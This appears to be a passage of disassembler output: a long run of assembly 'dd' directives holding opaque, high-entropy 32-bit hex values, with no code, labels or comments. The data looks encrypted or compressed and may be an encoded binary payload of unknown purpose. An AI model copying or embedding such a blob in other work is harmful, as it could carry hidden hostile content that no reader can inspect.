dd 410905C4h, 76B2D791h, 0DF19094Bh, 0E695ADC6h, 928AFE3Bh
dd 0B1B804D2h, 0A073BF03h, 2CFC559Dh, 0A0027CF3h, 3957F381h
dd 0CEEB5F6Dh, 0D5F9272Bh, 5F58C243h, 0E9C62CE5h, 9ABFC972h
dd 5758C2E2h, 8050C0A4h, 97B0CDDFh, 15F8303Fh, 5E639C01h
dd 302F3D29h, 5DEA2943h, 40763EA2h, 0D1C0BF80h, 27E9CED8h
dd 0A814EC04h, 0DB70D0C4h, 1B010513h, 13A499Ah, 5FFA35D2h
dd 85A9B058h, 0B7983A64h, 66A9A946h, 0FB3537Bh, 13A587FAh
dd 5B54CD84h, 0FB8F5FE9h, 55C4604Fh, 28FDEF68h, 4E98C16Fh
dd 3AF430BCh, 6299BF4Ah, 0D4003EC8h, 558DBE59h, 0F77F05E2h
dd 121F68D6h, 9D08E015h, 920C11C0h, 7CFED8F6h, 27847DC0h
dd 5C28998Ch, 45A30EA8h, 5F102C8Ch, 42653AE3h, 40CE548Ch
dd 511E52D5h, 0A4BEBB5h, 4F567E8Ah, 81C8D016h, 0E38D5F2h
dd 30CEF3Fh, 0E077204Ch, 16B672EAh, 4431EB2Bh, 1D0B686Fh
dd 34925BFBh, 6155609h, 1CCFB252h, 0D83B5A79h, 32E9922Ch
dd 4249A5C2h, 8ADA5899h, 0A03C438Bh, 602B153Fh, 9E970C32h
dd 89641D62h, 12BECFB0h, 0A63FE981h, 76E3001Ah, 0B9513B36h
dd 590308CFh, 0E9CA314Ah, 32F14894h, 4925EE53h, 0AEC53FA5h
dd 2CACDA53h, 0ECF23F2Ah, 0BAC05447h, 0CB5B48DDh, 21A38C12h
dd 2A5EF51h, 0E8C1D652h, 633A2599h, 0FB254873h, 0C680422h
dd 0D2D0985Bh, 4F5FCF40h, 0D8D62D01h, 5B0988EFh, 0DC31F7CBh
dd 31575924h, 0BB34CC55h, 20E87251h, 251635CFh, 5205DAF7h
dd 0CA9467E9h, 0E64A39BCh, 25299779h, 9684020h, 48083E9Ch
dd 0CE8A2082h, 51F80102h, 0A651A5BAh, 0AD4CE941h, 95F20024h
dd 13E31940h, 240B663Fh, 6885EF52h, 0D6456496h, 38BB08BAh
dd 713168BFh, 0D321271Ch, 0FBDC3AA5h, 8F859492h, 10ED9599h
dd 581DEE3Ch, 13DAF95Eh, 0F3370000h, 4C1B07BCh, 12DF8933h
dd 0C546F8EFh, 90E92670h, 7F888498h, 25C3B638h, 5920D659h
dd 3200E3DAh, 9F8626BBh, 2D685609h, 35983F6Ah, 59BE1063h
dd 21020796h, 61C00884h, 4538FDE3h, 3590ABD1h, 370A92C5h
dd 0E5D4868Bh, 3EBC117h, 0A7F4B90Fh, 0F7E469E0h, 2BDB6F0h
dd 2EC73505h, 8D82E5C1h, 94448D87h, 85CB9109h, 0D4650B8Eh
dd 0E8E9842Ah, 0C38EF26h, 0E96317B3h, 0BEDC5245h, 4EA80864h
dd 5103C83Ch, 40CDE99Ch, 9149B92Ah, 4DBDC2E6h, 31B8130Bh
dd 813C1F67h, 677FF327h, 876F2EFFh, 0B130E3F4h, 11EF4F01h
dd 58074629h, 275296Bh, 54AFC8FBh, 0AACC0204h, 968F188h
dd 92595052h, 0C5818765h, 5E8548B1h, 0C4E9D043h, 0BA037FB8h
dd 31FF606Ch, 0CDD2F28Ah, 92D3F32Dh, 50B77425h, 23CF15E9h
dd 0D110F3B7h, 333C17A4h, 0BA1675F9h, 0F333607Fh, 1202A66Bh
dd 0BCAB46BEh, 63D8803Bh, 0CE1EB371h, 3982090Ch, 855290Ch
dd 0C340810h, 68591401h, 686727h, 0BA42B9C1h, 0A0768274h
dd 5FB45BFCh, 0BF5B9C16h, 36980A17h, 28AF40E5h, 0A2A1CB4Eh
dd 39809A20h, 0ED879EC5h, 2F8D04D1h, 13DFBCB2h, 0E9BDDD05h
dd 511700D3h, 0E9806CB1h, 75287A59h, 0C1010F5Eh, 299A6852h
dd 0D4058988h, 5ECBDA2Ch, 1ECB698Ch, 0E8015D25h, 82800ED1h
dd 0D44B5671h, 5FEEAF93h, 0B5851C9Fh, 7860E36Ah, 0E200C071h
dd 80D2F607h, 5AE9BEC2h, 88A30550h, 0AF9A83F3h, 0B5666926h
dd 0AC57620Eh, 31F30E43h, 50193DF1h, 2C273E38h, 0A94404FBh
dd 7E88BBE0h, 8FB12EEAh, 129068DEh, 6C87B19Bh, 40EFE416h
dd 685355A9h, 7AC11D4Bh, 35AABD5Bh, 581FBFCh, 501156EDh
dd 10768575h, 5B300873h, 0F304400Eh, 0EDD14A13h, 7C06180Fh
dd 8D460EF8h, 4F5C734h, 1068867h, 8B2020A4h, 4D62514Bh
dd 26A87AA3h, 0C0695EF1h, 72037505h, 0C801200Ah, 0E904072Dh
dd 27EB9F4Eh, 0D01B85FEh, 58E13025h, 411224E7h, 0CD8CF04Fh
dd 0F08F5847h, 55F82698h, 0ECF50134h, 3BA80813h, 0F71B4384h
dd 0E72C4EA5h, 819A2Fh, 0CCFE6EB4h, 0F606ECC0h, 0C480DC00h
dd 0E9E2303Fh, 131CBA27h, 0B963E168h, 9DBAA4DAh, 0BA768033h
dd 8522C605h, 58B5EE9h, 90EFC1B6h, 6B7ABC0Eh, 0FB31772Eh
dd 0F62E5828h, 56126C9Bh, 0D52F49A1h, 0EB390909h, 0BFDCFE62h
dd 9D7E8C50h, 8E4062A7h, 1A54F60Bh, 21A25744h, 5FCB434Ch
dd 0EAC390E8h, 0F700FF82h, 4015B633h, 5AD12913h, 6CA43B16h
dd 4DEE40A1h, 0BA9A46ECh, 9C138831h, 63933AF7h, 7BDF0BF8h
dd 4648CCEBh, 0F1CB4B92h, 84E0E913h, 4ADFA862h, 0D21079F6h
dd 0BDBF029Eh, 7C4A7907h, 0BB530A77h, 17EF0BF8h, 4B8CF556h
dd 2F27C881h, 0AEEB441Fh, 971E3AC8h, 482BB358h, 5CA144E0h
dd 102032E7h, 813B7DEEh, 856F2904h, 9CDB87Ah, 4057F6Dh
dd 71B7F559h, 2168B44Eh, 8CA24A1h, 0CB50BC3h, 66292046h
dd 4C2FA676h, 38273239h, 6242C5EFh, 0CD3837Ah, 14CA92D5h
dd 0E5B85014h, 0A35F85D4h, 44E90B51h, 27C9E49Bh, 0F8A58268h
dd 66A647CFh, 0E91365BBh, 0E3040FD4h, 0BB296A71h, 2CD9E2ADh
dd 84ECBE0Ch, 0BAD6919Dh, 4F0307Ah, 29B81A92h, 84A7395Eh
dd 0D8099125h, 450A4480h, 5E3E41F5h, 2BD6AF46h, 696B51BFh
dd 0B3658812h, 2F126893h, 0FEAC8734h, 0AC12EBD2h, 648E79FDh
dd 0AA1F123Dh, 1B49D714h, 0C097F2E9h, 0BE3F680h, 45AF088h
dd 0E9C1A200h, 0A0BD155Fh, 0B10E41D5h, 0DE0120B0h, 0C662CD96h
dd 5BAE5C58h, 0BBE9BF09h, 42E6FCE7h, 0B6862605h, 0EF4010F7h
dd 7D0859E9h, 5EF02100h, 0BF531935h, 0B80D7100h, 2D1EC23Fh
dd 0D67F3BB9h, 2FD7E1CBh
dd 0A405368Dh, 0EC130A4h, 2D4C5FFBh, 9F02E1A7h, 570E40E1h
dd 80856E8Dh, 0D4D8AF24h, 0CC2D0158h, 6827E035h, 7266FEAFh
dd 5CFCA58Ch, 54530B12h, 7C2B8A09h, 1BC6C9ECh, 2C0D00BFh
dd 511532h, 5341C7B9h, 0C3C9811Fh, 5FCD7D03h, 38A989E9h
dd 4589BDB8h, 0BC0F7360h, 2AE90338h, 0BA34224Bh, 22AD9DC4h
dd 50A1C703h, 6BD930D9h, 1777BB19h, 20B7A699h, 1F68D22Fh
dd 0BA807BF8h, 0C74E0745h, 0C6D5315Fh, 44B75938h, 14954DD7h
dd 30358D5Bh, 2BC0D1DEh, 1A6D1BBFh, 0B445F40Ch, 0A3AD170Bh
dd 32C17D1Fh, 0E63508BEh, 0D07EB12Ah, 54C5251h, 542903F5h
dd 0E8460372h, 3E5CF1CEh, 0F6B92D32h, 4B061A8Bh, 8405AB20h
dd 3A12EC53h, 2F80D8E9h, 7987D7F7h, 933F27F9h, 0D27C2D2Bh
dd 4F985749h, 0BF800FF2h, 0BD141627h, 4D5BC2Eh, 45AD0B99h
dd 0D744510Fh, 36C5AAE6h, 68B77100h, 48403C67h, 7D04B735h
dd 0B8A2E960h, 0E65F87h, 20918D5Ah, 0CE91143Ah, 3873FFA0h
dd 73334B2Dh, 2C5C005Ah, 0F2810C41h, 0F675CE05h, 1780311Fh
dd 0DCFEE949h, 0FBFC65CEh, 507CF300h, 9051A0B0h, 9CB44E0Ch
dd 0E80EC170h, 4EC8310Ah, 8C68CF0h, 3DE431E9h, 31015E8Eh
dd 22CD7E0Dh, 3825623Ah, 300B527Ch, 0CFEA7CD9h, 923CF933h
dd 663D20FAh, 6A5BA268h, 7AC70221h, 0FCAC9C96h, 14B3C0DDh
dd 58A2B151h, 481044F6h, 0D0B05BF7h, 0FF162BDh, 99595DE8h
dd 58A61149h, 0FE79442Ah, 0E834FA34h, 5AE65380h, 0C0D600Bh
dd 3BC168C7h, 8A62897h, 0C2055627h, 0C57B0CA8h, 22F8688Bh
dd 0CAB8E9E5h, 0E402DD7Ch, 0D100809Ch, 9C23BEAh, 0DF6A840Fh
dd 400D3A7Fh, 1E7657C7h, 4BE5475h, 0D7F22DAFh, 0E955E09Eh
dd 0EC9FA00Ah, 8CBD200Eh, 314B25B0h, 7C05FC03h, 89A3E7CDh
dd 2CB3E1C7h, 0B34D663Dh, 2450DF2Eh, 4DF3032Bh, 8992EC84h
dd 0DC6AB082h, 1CBE4904h, 0E04EFD1Dh, 0ED07616Ah, 0CF896DB7h
dd 85B1C2A5h, 817CC02Eh, 7C2D7FE2h, 0B8C03B46h, 4A4AA31Bh
dd 3D0EC09h, 0E37BCFEAh, 1C57C95Eh, 79CAB888h, 47E2890Bh
dd 0D0E9841Fh, 3936A940h, 3524CFD8h, 0FB7655A3h, 63E97D89h
dd 90DFD062h, 4EAF0FA3h, 0B2BF1EC8h, 0C0605077h, 6A981307h
dd 0FD05EE99h, 32814071h, 0D73BFA8h, 96CE2778h, 0A86B9A19h
dd 2E34B049h, 24F18A16h, 0A2B5882h, 176075B2h, 74284EEDh
dd 0CD048476h, 13E038DBh, 369545C5h, 0EEF364BFh, 0BF57F600h
dd 26CF11FBh, 3A40472Fh, 0F9938DBEh, 0E995C162h, 0A4093BD9h
dd 0D760B259h, 0D6C0588h, 2FA917E9h, 0F403F5F4h, 9DB25B47h
dd 7219C9E1h, 78FD10CDh, 12DF7E4Dh, 1D28EE59h, 17036968h
dd 1F56E129h, 5A4C9854h, 5F6904D8h, 0DF7EEC56h, 0E4D05449h
dd 3862B519h, 0FA04F75h, 0F4739AE9h, 110BF759h, 762D46E2h
dd 0A0569373h, 3A130625h, 0E6013B42h, 7B240D90h, 17B8E7D8h
dd 1250C67h, 0BC469530h, 0C7BA500Bh, 112760F4h, 0F72D4089h
dd 0F9E90D3h, 0EF7FAF98h, 41D21E92h, 274CF0E6h, 3D47606Fh
dd 74C72113h, 0B9704AFh, 0FAB90B20h, 9FCAF8A6h, 81A0D694h
dd 8A207CFDh, 6439092Eh, 2B843DA4h, 0EA7A7AAh, 0E5F66855h
dd 0C6B075DAh, 0E78980F7h, 0BE595078h, 9CBF2B73h, 73213000h
dd 4F24E965h, 10C5E394h, 0F14B92B3h, 9AB7E06Bh, 6DA841C0h
dd 0F6531F34h, 2625EF20h, 10F5E22Bh, 5A1877E7h, 0CECD7A57h
dd 8B605681h, 741D1F88h, 0E59B1248h, 8B54074h, 184B750Eh
dd 43123CACh, 0CBFDB81Ch, 0E998250h, 2537453Eh, 0E96124D6h
dd 443B15FAh, 2E8E4D5h, 0D1565368h, 2E638019h, 32E922B3h
dd 0FEA23B4Bh, 0BD887F78h, 98A2B118h, 0C00008ABh, 9843463h
dd 1D71C535h, 0C4051831h, 0AA2E1506h, 0D8F7C004h, 28C502BFh
dd 42771ADAh, 134CD679h, 0A90085F2h, 30EF926Fh, 2DEC6881h
dd 1A35759Ah, 12BB2EF3h, 0C2AB80Bh, 0C13697Eh, 76FE396Eh
dd 0CB90E98Ah, 0E070A7D6h, 0D7C7DA24h, 0BAD3EA9Fh, 72AA2485h
dd 1EF42C50h, 9D02B958h, 243F4A99h, 5A0B5357h, 9A293868h
dd 9B0584Dh, 2716582Eh, 1F234086h, 0EF13CD72h, 2BF0595Dh
dd 0BA8540B9h, 289FAE2Eh, 7FD12909h, 973C4910h, 8684B4A6h
dd 660FD884h, 0E5638F47h, 4594FFC1h, 0F607FAF8h, 9230E02Bh
dd 7A8AB728h, 64CA2597h, 6D78854Ah, 97F49EBFh, 5655DEA0h
dd 0CE4AAAE9h, 5031A792h, 7A8EBE8Ch, 38C4BBDAh, 0D8AF1198h
dd 0C341016Eh, 123E926Bh, 2C247D74h, 0AD57DB02h, 0B0154048h
dd 7A1F251Dh, 0CF8F14DCh, 866B29A3h, 122DF30h, 65F911B1h
dd 3A05EDC1h, 7BE6EE80h, 80734B4Dh, 0D5F90252h, 0D51EE926h
dd 0B0A3B996h, 0C72FE245h, 2DD830D2h, 0B0484D56h, 77F5111Fh
dd 0AF5FF914h, 0B196023Dh, 0D3BEFCF2h, 0F78459B8h, 515B0275h
dd 54AF4253h, 2D0A26BFh, 4C6F33F9h, 1C2F7F1h, 2AF5446h
dd 6F5AD321h, 0A05BA049h, 60D1C3A4h, 0C7260ACh, 89522A11h
dd 0F2C5E912h, 57050F32h, 0AAF61F16h, 0B3A6516h, 7109784h
dd 0AE1213E3h, 71A169A8h, 19C93E93h, 40CCAB60h, 0E80388D6h
dd 30CEFE59h, 0FC693F0h, 6B25208h, 7DCA69h, 2803F238h
dd 5E1990D0h, 783BE226h, 2B90345Ah, 0F91FF0C1h, 0F0495DC8h
dd 2CBE0BF1h, 0AB851914h, 0E9030705h, 0F8ED2406h, 0F492DE1Dh
dd 0ABB9C656h, 995BB490h, 15616F8Dh, 85043AA9h, 65BA847h
dd 34AF43EAh, 420E9690h, 58021B40h, 4E655F01h, 0D26B5CA7h
dd 0F06208FCh, 0A14F0574h, 0A0C544CAh, 0E80C3503h, 84521061h
dd 80271689h, 4AA3E846h, 0EB10A4BDh, 7BB80121h, 4860BD0Ah
dd 0D05A030h, 5B74618Ah, 5EC520C6h, 0A0519E40h, 24B56CC4h
dd 98792898h, 24B91BD0h, 446F0D14h, 5A0725A9h, 21F1007Fh
dd 535BF4Ch, 0FA75528Ch, 7801392h, 0F8782959h, 0AE57E21Fh
dd 2F66F9E5h, 249E851h, 6EB2B58h, 55586B5Bh, 5625000Eh
dd 2D487667h, 2EDEA8Eh, 6A410508h, 27C1F7D8h, 4333DCCh
dd 183D744Eh, 2485B582h, 8F56012Ch, 0F32B3842h, 0B4680842h
dd 35E9050Dh, 3414F28Ah, 0C2A8E452h, 9E2DAD01h, 0ED387149h
dd 2B162FD1h, 4A5A2D2Ch, 9208B856h, 284FB4ADh, 6E122994h
dd 40FE039Eh, 68BBE367h, 4A986762h, 23FFC1Fh, 172029D4h
dd 4CC1AEE9h, 0FE60DEF7h, 3F849418h, 0C34E43B8h, 21E22383h
dd 5FBF3EC8h, 0F4F7F12h, 78856284h, 1A01EEA2h, 0E91C063Eh
dd 4A3B3CC9h, 74A51EF2h, 0A4E5E861h, 7E7829FFh, 0CA3E342Dh
dd 0CD885E08h, 0F9D832E9h, 89DFD0E7h, 7BD980BDh, 4A406890h
dd 1E1BC48h, 4E4D7903h, 0F43BE6C1h, 0DD09C6EAh, 0DE757D80h
dd 200D9E98h, 13303AF1h, 0FEC8BF0Fh, 0B4E45E52h, 3179B74Ah
dd 39C5685Ah, 1C22CC39h, 2735DD10h, 0E1747159h, 23C53EE9h
dd 6F904D0Fh, 0E9BBC92Fh, 2F60DD92h, 0F46A1BE2h, 6CF98099h
dd 544A8105h, 17BB535Dh, 9D4327C4h, 871668F0h, 0C91D8D79h
dd 1390BD75h, 50747E56h, 0BBD8E37h, 291CAC02h, 4805DD93h
dd 0CC6158Dh, 59F9F70Bh, 0B782A8D4h, 680B5247h, 0E9F9A1A7h
dd 0DD3E9A8Bh, 0D50F2009h, 98A0B680h, 0BCA4F2E5h, 0BF575046h
dd 0DB763B05h, 0BB884744h, 248917C6h, 3A88E1BBh, 4EEC80B0h
dd 68BD30EDh, 0E4B44C82h, 18084ECCh, 482B5140h, 0AA0F0DB8h
dd 94E5C12Ah, 94A505A9h, 0F9833E52h, 0AD99BE9h, 76EE6854h
dd 77986926h, 0C45EE953h, 0A0C56594h, 46138CB8h, 0E260B82Fh
dd 2DD36409h, 0CF18721Dh
dd 5481ECD1h, 48629B6Fh, 9232102Eh, 4B10904Ch, 0F28101DFh
dd 48C14AF0h, 5BB10C82h, 0F84151EEh, 10246D1Bh, 0BA00E849h
dd 3ED14A34h, 0D00D0BBBh, 0C001CB43h, 62070640h, 92117EAh
dd 2BB80BF3h, 15623AF4h, 8D290BC9h, 504E575Ah, 462B4CB1h
dd 99ADBC57h, 2E18C348h, 0D9001C83h, 2F3CBB5Bh, 0C58E5BC7h
dd 0EB349093h, 0A727659Bh, 1E41560Bh, 0D5B07E87h, 0F3BDE908h
dd 0C9479BBDh, 0D16A37EAh, 9A86C93Ch, 0DD905A1Eh, 2EAF7D31h
dd 7164EA21h, 3AA7FF81h, 2B89277Dh, 0AA901DE0h, 5D405DA3h
dd 0DC301155h, 0B2540C0Eh, 55D5A94h, 0B1FA87B4h, 4C57D253h
dd 0E6C202F9h, 29D47611h, 8542A97Fh, 17D9282Fh, 833856E5h
dd 593B6809h, 6489A7D1h, 2098C61Ah, 544CEFACh, 0ECB684E5h
dd 48006614h, 81186952h, 1F1D1BEFh, 0F781516Bh, 336D116Fh
dd 0A7818A4h, 0C28238h, 474B107Dh, 0B7A2FB29h, 0E95F0800h
dd 40BAC27Bh, 7970D327h, 0E9DB9661h, 512704E9h, 9883743Fh
dd 0A4E0E903h, 0ECF0342Bh, 0E134A7E0h, 48C222C1h, 1EB3877Bh
dd 0DE28FDD6h, 0EB1D27C9h, 0CF449042h, 0FA2D2B3h, 1AF2AFF3h
dd 802C213h, 0CAE943E9h, 852630ADh, 72895780h, 5FFD26F7h
dd 419612E2h, 59EF8848h, 0DED36C51h, 0F114FE9Fh, 0F35227FDh
dd 0B855142Ch, 1AD8CACBh, 628FBE05h, 17800A01h, 2FCE1E83h
dd 10F0292Bh, 0F7580880h, 3FB3D659h, 923478B8h, 22AE2673h
dd 0F946D965h, 928EC595h, 0B599C147h, 93AA7099h, 38452C39h
dd 4D01DE7h, 5A707839h, 0E9FEE87Dh, 22D7262Dh, 55DCCA71h
dd 76688F90h, 0DC886F4Fh, 305D5E5Eh, 1516823h, 0E11610AAh
dd 8B2A6F90h, 0D0ECB090h, 125ED849h, 8BBC332Eh, 945F5FF2h
dd 0B1391FCh, 0D310AFF8h, 0CF12E42Dh, 38A1EBEAh, 0FFA7A604h
dd 8089E912h, 7B3968E4h, 0D9BD57A8h, 5AFB4816h, 68EB9101h
dd 0F17C7CF8h, 95FE896h, 5A7A415Fh, 9D5B6803h, 5A48280Ch
dd 0B2A5A4A9h, 18096B4Bh, 172102F3h, 60A7A9E5h, 0B0CDEAF5h
dd 85F0DDFAh, 5B02ABAh, 0F81A8A91h, 0A1BC9620h, 833A2E2Dh
dd 0A232235Fh, 0B8100030h, 390533C3h, 87DE0C1h, 4BEBD94Dh
dd 0F23ABBA5h, 93417620h, 0CF0F6E89h, 1D99115Eh, 0DB30527Bh
dd 0D947127Ah, 0C6521C75h, 0D876E607h, 0FE44D70Bh, 67A864Fh
dd 0EFE11F12h, 11E90453h, 687F9808h, 0C664A52Fh, 25597A9Dh
dd 7AF96319h, 72ADE961h, 15079F39h, 6FAE30E5h, 75FAED92h
dd 0F4F5F95Fh, 2BDDB12Fh, 0DEC4D094h, 35BB38C5h, 0AD39AF78h
dd 4C358E2Eh, 84888534h, 9B81E2Ch, 1C40328Fh, 5483701h
dd 50119695h, 7C0BACA8h, 0A304307Dh, 0AA92EB25h, 822E910Ch
dd 4903EB04h, 0DA0BCD80h, 0D1EFA2CBh, 683BB8E2h, 1A46951Eh
dd 6716BE1Eh, 0A57C159Fh, 82B6597Ah, 191A092Bh, 0C14D615Dh
dd 0ECE3172Eh, 1F05C42Fh, 436289EAh, 433F1005h, 925D97F5h
dd 0C6FC54C9h, 0A92F9FA6h, 33294B0Fh, 0D1B09FC0h, 86C8FE03h
dd 7D2F6D0h, 2C013408h, 0CE8F2BD8h, 10B5B992h, 312F8026h
dd 0B722C660h, 2494BD80h, 89CB20Ah, 8FADDEB9h, 0CB616FC9h
dd 0E246CB4Ch, 5B0C9144h, 0A3A4672Ch, 55E90A16h, 0A2A77529h
dd 7FF0A8F6h, 7F896A39h, 0DE01AEC2h, 21C782D6h, 63DFCFC2h
dd 0D0E7EA9Dh, 0A0C890D7h, 2F6D7578h, 87C04563h, 20F7740Eh
dd 7309A2CEh, 0D02940AEh, 840882B9h, 3001B6FEh, 30515AD0h
dd 0F57E80C8h, 95B0C5E6h, 0B80E152Dh, 60EB297Ch, 1A36D85Dh
dd 0E925213Bh, 97ADF837h, 0E9059B6Fh, 0D543F92Dh, 0CB6E0C63h
dd 7CB3DD4Dh, 84C4992Eh, 0F859E828h, 0FCEC6443h, 0EAF988FAh
dd 1033381Fh, 792DCC1Eh, 75A2E2EBh, 133C5771h, 71F7E4F3h
dd 68505703h, 43902FF1h, 37EBA5E9h, 26C91715h, 0CB1843E3h
dd 9A776138h, 9180FF9Ch, 683F8858h, 0CF1D490Ch, 0E667C59Dh
dd 0D624BF6Bh, 86E2F3C4h, 905CB10h, 7E661A04h, 0B5AD733Eh
dd 0D0B268Dh, 6D5C380h, 0AF77EAh, 4B9321F2h, 0C72C017Ch
dd 95038CDCh, 1A956166h, 35E25D26h, 0B85EC325h, 555CA0BAh
dd 799900BDh, 0E581016Ch, 6048748Fh, 0A340104Fh, 511BBE03h
dd 0D4D23B0Bh, 7C89D849h, 12E9B02Eh, 0BAC8B731h, 662420A8h
dd 617E627h, 0E77B6AD0h, 82FE4EF0h, 680183C1h, 0DA336B7Dh
dd 8B448C4Eh, 0A7B2CD4Bh, 29EA2578h, 832AEA0h, 9AB83F28h
dd 0CB4A5EFAh, 0C70390A4h, 0F711196Ch, 0FE4FE556h, 2CF06B52h
dd 4F3BF4A9h, 9FF2B477h, 0EFB92460h, 98BE0813h, 0CDD74805h
dd 0C820841h, 30441D05h, 0C92088E4h, 0BF2C2CE5h, 0BBAF0804h
dd 2C8850Bh, 0DF17A37Ch, 0E9606312h, 481C124Dh, 8749430Eh
dd 0A6C643FBh, 0EDB403B0h, 48E9F1B7h, 0FC289D51h, 44001A1Eh
dd 28316852h, 975A4C22h, 49E0679Bh, 6627F139h, 771FF259h
dd 509B16ADh, 4CD51AE9h, 0F4F1A4F7h, 25FD3B8h, 15BF68CBh
dd 8D888F59h, 845D13DCh, 7003BFE0h, 0FA7CCE1Ch, 684D687Dh
dd 4C5724A3h, 0D7AC3CD5h, 9A0242EFh, 5C646056h, 0E34763A0h
dd 3C0BAF40h, 4064AF2h, 0ABE5C174h, 34D6CA42h, 0C1B48E3Dh
dd 4B3FAE29h, 55BD062Eh, 6D255C51h, 0AE1FA0A3h, 0E2C7D66h
dd 81E7D147h, 6D6BBB41h, 0B2D4401Eh, 307F9929h, 67092CB8h
dd 0A0632E03h, 7631C6A7h, 0E9AC132Fh, 5C3E49EBh, 27AC454h
dd 5C9B22A1h, 9164C28Ch, 39476800h, 972AE105h, 539EE5CCh
dd 0B28A44FAh, 9D8CFA9Ah, 8AA44C0Eh, 0B50ECD8h, 514D192Dh
dd 94E906F7h, 550299DEh, 272EC068h, 0EC0F8531h, 1F2F9E4h
dd 772630E0h, 405AD189h, 0A78F19D6h, 0AB173BF7h, 0D71630F9h
dd 3F43B353h, 4D3D167Dh, 0E4B0A6A8h, 0B13B447h, 6E08F709h
dd 8C4D266Ch, 0EEDF264Ah, 165BDEFCh, 604D66E4h, 3FEF979Fh
dd 5E5433F9h, 0BA0052F3h, 8C61B15h, 62038EB9h, 0A6A05A94h
dd 0C4868E9Ah, 0FE041171h, 0DBEF80CFh, 0F4485CFCh, 9CCF484h
dd 0AA50C85Dh, 68929FD9h, 7F241A77h, 31828909h, 40FC3DCh
dd 40AA69C4h, 321FAFF8h, 32923151h, 344731A1h, 0BECC1D9h
dd 75FD524Bh, 95C8FFB4h, 85866936h, 5E1380D5h, 95443A08h
dd 0A8CDB143h, 0F1BD87ABh, 0D82D6933h, 2630CCF5h, 20C674Ah
dd 619B2366h, 4E1891DFh, 80BFA13Fh, 0E7868952h, 12E105B7h
dd 0F7D885Fh, 69E5BB6Ch, 80FBA163h, 0E220EF46h, 65D82941h
dd 0A05185Bh, 3A182D0Ah, 523F23D1h, 10B5B6CDh, 1FDE7F13h
dd 0C094ACD5h, 7CA2C4Ch, 2D4DECBDh, 2389D5E9h, 66161AE5h
dd 58021B88h, 68A0D669h, 9BB71234h, 0FC599FD8h, 0C9A4505Eh
dd 7679EAB5h, 0EFEB03A3h, 50B73EFEh, 7450121h, 25FACBE6h
dd 42C5C92h, 0D3135DF5h, 3E224C34h, 0BBB24051h, 16BE001Ah
dd 6EE1B95Dh, 313C4CB5h, 774B5CE9h, 48DB460Ah, 0AE02BC49h
dd 5F138012h, 89AA9090h, 0DC6E5B3Ch, 0C58731EDh, 629718B5h
dd 0D25EB921h, 0A0B5C621h, 119F6800h, 0F160AD94h, 0B02A1816h
dd 0B35D4C01h, 400C0130h, 2481575h, 618C09F5h, 795C02A5h
dd 97BD94DEh, 5E256851h, 5DEA620Fh, 55697D74h, 6B51C019h
dd 0FDEFE640h, 0F6261980h, 0E8C44B9Bh, 0F7DEB7E2h, 62BAD3C4h
dd 0A36859FFh, 85B56AE9h, 4052BE7Fh, 0A5E408EBh, 0D6B00D2Ch
dd 4BAA0537h, 824A857Dh, 800077FEh, 456825CAh, 0E7443A4Bh
dd 880BE8F0h, 287AF9E1h, 19B212A5h, 5CEAA4A0h, 88019BDEh
dd 97E9D328h, 964E2C6Bh, 0CFBEC00h, 0B7493B30h, 0A7FE9D49h
dd 5D58D013h, 0AC58B37Bh
dd 20685DF0h, 2B30224Eh, 0BFA5A8Bh, 0A6CA8111h, 0E934BC00h
dd 0E89770D7h, 8025D585h, 0F13F2858h, 7EBEA580h, 0D790C288h
dd 3A6D98DDh, 10999DBBh, 9F45F69Ch, 0B90BFD28h, 80097429h
dd 0EC34A324h, 8EE6C156h, 0F065DC58h, 7412ABE1h, 59012687h
dd 6AAE4018h, 2572F884h, 0F14AC0FBh, 5C330BDCh, 806E1824h
dd 33099F1Bh, 5E5A59CBh, 6C390CF9h, 4B0B7B8Ah, 7032E9B9h
dd 7574A23Ah, 0CA9DA816h, 8A66022h, 273ABD94h, 0F96A08DFh
dd 1922BA80h, 60BE30B8h, 0D6310B26h, 0D7BE76E9h, 0AA375127h
dd 0C18511A4h, 55AA1192h, 91EEE45Ah, 8389A75Fh, 942145E0h
dd 64408352h, 9A112DD6h, 0CF0FA743h, 53EB1ABCh, 10E22C8Fh
dd 455618B7h, 74C12592h, 0D3C02CB2h, 0F8EBE05Ah, 0C80B229h
dd 0D0F6C786h, 0FA278808h, 4CCFC5Bh, 0A1C220A3h, 4A9D041h
dd 0ECA1864Eh, 9DE4D0D2h, 0B1FDE042h, 25283B86h, 9F666718h
dd 9B17AEF5h, 4D1227ABh, 54ECF384h, 686656C0h, 25E95CA9h
dd 0EBBDE057h, 83102B69h, 487F8FDBh, 50056636h, 834E2668h
dd 0D4C4C33h, 761D2084h, 0E08D2F5Fh, 0F32DD622h, 8FFA812Eh
dd 0E540D889h, 0B0A6EBAh, 1428E944h, 3F6809A2h, 0C0251BD5h
dd 0B580E63h, 0A20E97Bh, 0ABC5C57Ch, 0A74A08A8h, 0EFE909B2h
dd 52D4A619h, 2CB5949Ah, 125D1297h, 8B7F092Dh, 0C4897171h
dd 0CC0FA8F8h, 0F81FEF0Ah, 0E509ED9Eh, 0E6B40243h, 0BAA40EC4h
dd 0FB3D9065h, 939750Fh, 42F58BBDh, 17D47825h, 4D9C581h
dd 0BA4D3A0Bh, 0F587BC01h, 8C40C683h, 0B93C2268h, 42D4ACA1h
dd 0F70ECD12h, 0B9F84304h, 0A74B0F12h, 0FF7C99E5h, 0F508E525h
dd 2ED92CD7h, 8A195A44h, 0E5E9F129h, 15902EB7h, 0BF351D23h
dd 415B8691h, 7B6C4C96h, 0BA965879h, 5834BA40h, 955AE688h
dd 0ACB13DCEh, 39EAEA92h, 44E62BFEh, 0D32BB84Bh, 0FCAC4921h
dd 0B60F9384h, 0CD558102h, 0D4216A43h, 0AB0564F3h, 296EC59Dh
dd 253129D6h, 216883DDh, 0EF40B9C8h, 2DD9E32Bh, 0A54BD1A9h
dd 8949E159h, 0C9187E20h, 0E5ACE679h, 7F0EE942h, 0BF601112h
dd 801CAEB4h, 0CCC357F4h, 0E7ECC0DDh, 2A04729Eh, 0F1ECAB1Dh
dd 0AD4454CFh, 0C7E188FEh, 3F2A4A02h, 0DC7D2B68h, 0E00953EBh
dd 10C5B6E9h, 2D01C6D4h, 0EE895591h, 3504BAD6h, 91AC4826h
dd 5D1FFF3Ch, 0E4CB4158h, 83369F10h, 280CE20Ch, 0FB320475h
dd 0FE0D61F6h, 4AF2784h, 16A3721h, 88ECC380h, 14111AA4h
dd 0BDE9CCEh, 3B198C94h, 2064F17Fh, 5E80E561h, 0EEF0955Dh
dd 0D16E9F16h, 0BFEB1600h, 0BD7EE03Ah, 0A1E973E0h, 0EF45A060h
